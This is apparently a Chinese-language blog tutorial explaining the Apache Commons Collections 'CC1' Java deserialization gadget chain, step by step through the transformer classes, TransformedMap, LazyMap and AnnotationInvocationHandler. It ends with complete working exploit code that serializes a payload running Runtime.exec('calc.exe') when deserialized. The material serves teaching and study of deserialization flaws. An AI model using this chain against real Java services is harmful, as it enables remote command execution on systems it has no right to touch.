java安全-CC链1(小宇特详解)
本文已参与「新人创作礼」活动,一起开启掘金创作之路
CC链的前提是序列化和反序列化
序列化需要两个条件
-
该类必须实现
java.io.Serlalizable
接口 -
该类的所有属性必须是可序列化的,如果⼀个属性是不可序列化的,则属性必须标明是短暂的。
比如:static,transient 修饰的变量不可被序列化
注意事项:
不能new 一个Runtime类
package com.CC1;
public class Demo {
public static void main(String[] args) {
Runtime runtime;
runtime = new Runtime();
}
}
Runtime是一个单例类,单例类是不能够进行new的。
CC链利用的类
CC链的原理就是利用反射获取类,放到readObject方法中
transform接口:
ConstantTransformer
作用:获取class对象
关键是调用transform方法
package com.CC1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class Demo01 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
//相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
Object transform = constantTransformer.transform("null");
System.out.println(transform);
System.out.println(transform.getClass().getName());
}
}//作用:获取一个类的对象
invokeTransformer
把一个对象转换为另一个对象
他最常用的构造方法需要传递三个参数
第一个是methodNmae,方法
第二个是class的类型(有字符型和int型等)
第三个是方法参数
举例:methodName:"exec",new Class[]{String.class},new Object[]{cmd}
它的transform方法
就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。
那如何形成链呢
ChainedTransformer
多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo03 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}//获取到了getRuntime方法
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}//用invoke方法传递参数
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
transformedChain.transform(null);
}
}
上面的三个类就能够连起来使用
- ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
- InvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
- ChainedTransformer -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来
- 然后看那个对象能够接收ChainedTransformer方法
TransformedMap
这个就是为了解决上面的第4步
由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时(调用TransformedMap
的setValue/put/putAll
中的任意方法),就会自动触发chainedtransformer
。
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
//创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null,
transformedChain);
// transformedMap.put("v1", "v2");// 执⾏put也会触发transform
// 遍历Map元素,并调⽤setValue⽅法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
entry.setValue("test");
}
// System.out.println(transformedMap);
}
}
TransformedMap
的条件
- 实现了
java.io.Serializable
接口; - 并且可以传入我们构建的
TransformedMap
对象; - 调用了
TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;
AnnotationInvocationHandler
上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。 之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler
。
LazyMap
这里使用的map类是LazyMap
类
因为里面的get方法正好符合put去调用transform的情况
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是我们还需要一个类在反序列化的时候触发LazyMap类的get方法
借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
AnnotationInvocationHandler中的invoke方法调用了get方法
通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
最终攻击代码
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}